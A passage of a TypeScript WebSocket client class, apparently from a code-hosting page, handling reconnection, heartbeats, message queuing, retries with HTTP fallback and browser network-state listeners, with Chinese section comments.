return !this.opts.maxReconnectAttempts
|
||||
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
|
||||
}
|
||||
|
||||
private clearReconnectTimeout(): void {
|
||||
if (this.reconnectTimeoutId !== null) {
|
||||
clearTimeout(this.reconnectTimeoutId);
|
||||
this.reconnectTimeoutId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private reconnectIfNeeded(): void {
|
||||
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 心跳机制 ============
|
||||
|
||||
private startHeartbeat(): void {
|
||||
if (!this.opts.heartbeatInterval) return;
|
||||
|
||||
this.heartbeatIntervalId = window.setInterval(() => {
|
||||
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
|
||||
this.ws?.close();
|
||||
return;
|
||||
}
|
||||
|
||||
this.heartbeatMissCount++;
|
||||
|
||||
if (this.isConnected()) {
|
||||
this.ws!.send(JSON.stringify({
|
||||
event: "heartbeat",
|
||||
content: { tag: "user" }
|
||||
}));
|
||||
}
|
||||
}, this.opts.heartbeatInterval);
|
||||
}
|
||||
|
||||
private stopHeartbeat(): void {
|
||||
if (this.heartbeatIntervalId) {
|
||||
clearInterval(this.heartbeatIntervalId);
|
||||
this.heartbeatIntervalId = null;
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息发送 ============
|
||||
|
||||
async send(data: string): Promise<void> {
|
||||
try {
|
||||
const message = JSON.parse(data);
|
||||
const pendingMsg = this.createPendingMessage(message);
|
||||
|
||||
if (this.isConnected()) {
|
||||
// WebSocket 连接正常,直接发送
|
||||
this.sendDirect(pendingMsg);
|
||||
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
// 可以重连,加入队列等待重连后发送
|
||||
this.enqueue(pendingMsg);
|
||||
this.reconnectIfNeeded();
|
||||
} else {
|
||||
await this.sendViaHttp(message);
|
||||
}
|
||||
} catch {
|
||||
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
|
||||
}
|
||||
}
|
||||
|
||||
private async sendViaHttp(message: any): Promise<void> {
|
||||
try {
|
||||
if (message.event !== "input_text") {
|
||||
await sendInput(message);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] HTTP fallback failed:", error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
private createPendingMessage(message: any): PendingMessage {
|
||||
const id = this.generateMessageId();
|
||||
const timestamp = Date.now();
|
||||
|
||||
return {
|
||||
id,
|
||||
data: JSON.stringify({ ...message, messageId: id, timestamp }),
|
||||
retries: 0,
|
||||
timestamp,
|
||||
};
|
||||
}
|
||||
|
||||
private sendDirect(pendingMsg: PendingMessage): void {
|
||||
this.ws?.send(pendingMsg.data);
|
||||
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
|
||||
}
|
||||
|
||||
private enqueue(pendingMsg: PendingMessage): void {
|
||||
this.sendQueue.push(pendingMsg);
|
||||
}
|
||||
|
||||
private flushSendQueue(): void {
|
||||
if (!this.isConnected()) return;
|
||||
|
||||
while (this.sendQueue.length > 0 && this.isConnected()) {
|
||||
const pendingMsg = this.sendQueue.shift();
|
||||
if (pendingMsg) {
|
||||
this.sendDirect(pendingMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息重试机制 ============
|
||||
|
||||
private startRetryChecker(): void {
|
||||
this.stopRetryChecker();
|
||||
|
||||
this.retryCheckerId = window.setInterval(() => {
|
||||
this.checkPendingMessages();
|
||||
}, RETRY_CHECK_INTERVAL);
|
||||
}
|
||||
|
||||
private stopRetryChecker(): void {
|
||||
if (this.retryCheckerId) {
|
||||
clearInterval(this.retryCheckerId);
|
||||
this.retryCheckerId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private checkPendingMessages(): void {
|
||||
const now = Date.now();
|
||||
const { retryIntervals } = this.opts;
|
||||
|
||||
for (const [id, msg] of this.pendingConfirmations.entries()) {
|
||||
const age = now - msg.timestamp;
|
||||
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
|
||||
|
||||
// 未到重试时间
|
||||
if (age < waitTime) continue;
|
||||
|
||||
// 超过最大重试次数,降级使用 HTTP
|
||||
if (msg.retries >= retryIntervals.length) {
|
||||
this.pendingConfirmations.delete(id);
|
||||
|
||||
try {
|
||||
const message = JSON.parse(msg.data);
|
||||
this.sendViaHttp(message).catch((error) => {
|
||||
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
|
||||
this.sendQueue.push(msg);
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
|
||||
this.sendQueue.push(msg);
|
||||
}
|
||||
useLoadingStore().setLoading(false);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 重试发送
|
||||
if (this.isConnected()) {
|
||||
this.ws?.send(msg.data);
|
||||
msg.retries++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 工具方法 ============
|
||||
|
||||
private generateMessageId(): string {
|
||||
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
|
||||
}
|
||||
|
||||
// ============ 事件系统 ============
|
||||
|
||||
on(event: string, callback: Function): void {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
}
|
||||
|
||||
off(event: string): void {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
|
||||
private emit(event: string, data: any): void {
|
||||
this.listeners[event]?.forEach(callback => callback(data));
|
||||
}
|
||||
|
||||
// ============ 浏览器事件监听 ============
|
||||
|
||||
private setupBrowserListeners(): void {
|
||||
// 页面可见性变化
|
||||
document.addEventListener("visibilitychange", () => {
|
||||
if (document.visibilityState === "visible") {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 网络状态变化
|
||||
window.addEventListener("online", () => {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 导出 ============
|
||||
|
||||
function useSocket(url: string, opts?: SocketOptions) {
|
||||
const socket = new Socket(url, opts);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocket, Socket };
|
||||
export type { SocketOptions, PendingMessage };
|
||||
Reference in New Issue
Block a user